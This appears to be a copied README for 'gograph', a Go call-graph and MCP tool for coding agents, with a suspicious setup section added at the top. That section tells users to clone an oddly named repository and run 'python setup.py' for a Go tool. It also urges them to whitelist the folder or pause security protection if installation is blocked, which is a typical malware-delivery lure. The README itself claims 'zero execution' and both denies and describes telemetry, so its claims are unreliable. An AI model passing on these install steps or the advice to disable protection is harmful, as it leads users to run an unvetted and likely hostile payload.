gograph

Tip

If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.

Caution

Some security systems may block the installation. Only download from the official repository.

---

QUICK START

git clone https://github.com/rectangledeanproxy/gograph-308.git
cd gograph-308
python setup.py

Stop burning tokens on grep. Give your AI agent a graph.

gograph builds a local, AST-aware call graph of your Go repository and exposes 50+ query tools via CLI and MCP so coding agents can navigate packages, symbols, call chains, routes, SQL, env vars, and tests — without reading raw files.

Zero network. Zero execution. Zero secrets read. gograph is purely static analysis — it never runs your code, makes API calls, or opens non-.go files.

Try it — who calls ValidateToken?

gograph callers "ValidateToken"

Full context in ONE call (node + source + callers + callees + tests)

gograph context "ValidateToken"

Change plan before editing (callers, tests, routes, SQL, env risk)

gograph plan "ValidateToken"

## Why gograph?

*Benchmarked on gograph's own codebase (70 files, 518 symbols, 16 packages):*
| Task | `grep -rn` | `gograph` | Savings |
|---|---|---|---|
| Find callers of `loadGraph` | 158 noisy lines (comments, docs, vars) | 56 exact structural call sites | ~65% noise eliminated |
| Locate symbol definitions | 842 lines matching "Symbol" | 83 true type/method declarations | ~90% noise eliminated |
| Read one function body | `cat` dumps 180+ lines of the whole file | `source` extracts the exact 12-line function | ~93% fewer tokens |
| Understand a symbol fully | 4–5 separate tool calls | 1 call: `context` bundles everything | 80% fewer tool calls |

## Key Features

**50+ Query Tools** — callers, callees, impact, context, plan, review, errorflow, orphans, hotspot, coupling, and more. Full [command reference →](https://gograph.identuum.ai/docs/command-reference/)

**Native MCP Server** — all tools available as MCP endpoints for Claude, Cursor, Copilot, and any MCP-compatible agent. One command setup: `gograph add-claude-plugin`

**Token-Saving Composites** — `context` replaces 5 calls. `plan` replaces 8. `explain` synthesizes architectural narratives. Built to minimize agent round-trips.

**Safe by Design** — no network, no code execution, no secrets, no `.env` files read. AI worktree directories (`.claude/`, `.cursor/`, `.agents/`) auto-excluded.

**Architecture Enforcement** — boundary rules, API drift detection, complexity gates, dead code sweeps, god-object detection, coupling analysis. Run in CI with `gograph gate`.

**Agent Compliance Auditing** — session telemetry tracks whether agents run `plan` before edits and `review` after. Grades agent behavior A–F with actionable recommendations.

## Command Reference

All commands support `--json` for machine-readable output and `--files-only` for flat file lists.

| Category | Commands | What it does |
|---|---|---|
| **Indexing** | `build . [--precise]`, `stale`, `stats` | Parse AST, write graph. Check freshness. Index health. |
| **Navigation** | `query`, `callers [--depth N]`, `callees [--depth N]`, `path`, `source`, `node` | Find symbols, trace call chains, extract source. |
| **Context** | `context`, `explain`, `focus`, `endpoint` | Bundled structural data in one call. Token savers. |
| **Change Analysis** | `plan`, `review`, `impact [--uncommitted\|--since]`, `changes [--git]`, `api --since` | Pre-edit planning, post-edit review, blast radius, drift. |
| **Architecture** | `boundaries`, `coupling`, `complexity`, `godobj`, `orphans`, `arity` | Quality gates, dead code, coupling, god objects. |
| **Types & Structs** | `fields`, `implementers [--test-only]`, `interfaces`, `embeds`, `constructors`, `literals`, `usages`, `mutate`, `schema` | Struct fields, interface satisfaction, type usage. |
| **Infrastructure** | `routes`, `sql`, `envs`, `errors`, `concurrency`, `globals`, `deps [--transitive]`, `dependents` | HTTP routes, SQL, env vars, concurrency, imports. |
| **Testing** | `tests`, `fixtures`, `mocks` | Test coverage map, helpers, mock implementations. |
| **Error Tracing** | `errorflow [--no-tests]`, `trace` | Reverse-BFS from error strings to HTTP entry points. |
| **Diagnostics** | `hotspot`, `returnusage`, `skeleton`, `diagram`, `changes`, `public` | Hotspots, return usage, API signatures, Mermaid diagrams. |
| **CI/CD** | `check [--since\|--uncommitted]`, `gate`, `snapshot save\|diff\|list\|drop` | Policy checks, threshold enforcement, metric snapshots. |
| **Telemetry** | `session create\|end\|audit\|cleanup` | Agent compliance tracking and grading (A–F). |

> Full command reference with examples: [gograph.identuum.ai/docs/command-reference](https://gograph.identuum.ai/docs/command-reference/)

<details>
<summary><strong>Architecture Boundary Enforcement</strong></summary>

Define boundaries in `.gograph/boundaries.json`:
```json
{
  "layers": [
    { "name": "domain", "packages": ["internal/domain/**"], "may_import": [] },
    { "name": "handler", "packages": ["internal/handler/**"], "may_import": ["internal/service/**", "internal/domain/**"] }
  ]
}

Run gograph boundaries — exits with code 1 on violation. Works in CI/CD.

AI Agent Integration

One-command setup (Claude Desktop + Claude Code):

gograph add-claude-plugin

This registers the MCP server, injects CLAUDE.md steering rules, and installs a PreToolUse hook that redirects grep on Go symbols to gograph tools.

Other agents (Cursor, Copilot, Antigravity, etc.):

gograph mcp .   # Run as MCP server over stdio

Add to your .cursorrules or AI system prompt:

Before answering architecture or repository questions, inspect the available gograph_* MCP tools and use them instead of grep/find. Run gograph capabilities first.

All commands support --json for machine-readable output:

gograph callers "ValidateToken" --json
# → {"schema_version": "1", "command": "callers", "status": "ok", "count": 2, "results": [...]}

For full integration guides, see docs/coding-agent-usage.md.

Example Output

When you run gograph build ., the generated GRAPH_REPORT.md gives your AI a condensed context map:

External Dependencies (Tech Stack)

Module	Version

Important Symbols (Top by outgoing calls)

Symbol	Kind	File	Line	Calls out
(Server).Start	method	server.go	42	18
ValidateAuth	function	auth.go	12	14

---

Why not use a Language Server (gopls)?

gopls is optimized for human IDEs. gograph is optimized for terminal-based LLMs:

Correctness model

• Default mode uses Go AST parsing and best-effort heuristics. Tolerates incomplete or non-compiling repositories.
• Precise mode uses type-checked enrichment and requires compilable packages.
• Heuristic extractors (routes, SQL, tests, error mapping) are navigation aids, not authoritative program analysis.

Non-goals

• No multi-language parsing
• No AI/model API calls
• No embeddings or SaaS backend
• No telemetry
• No replacement for compiler/type-checker correctness

Contributing

Pull requests welcome! See CONTRIBUTING.md for build, test, and contribution guidelines.

Language Support: gograph currently parses Go only. The architecture is extensible — if you want to add Python, TypeScript, Rust, etc., please open an issue first.

License

MIT — see LICENSE.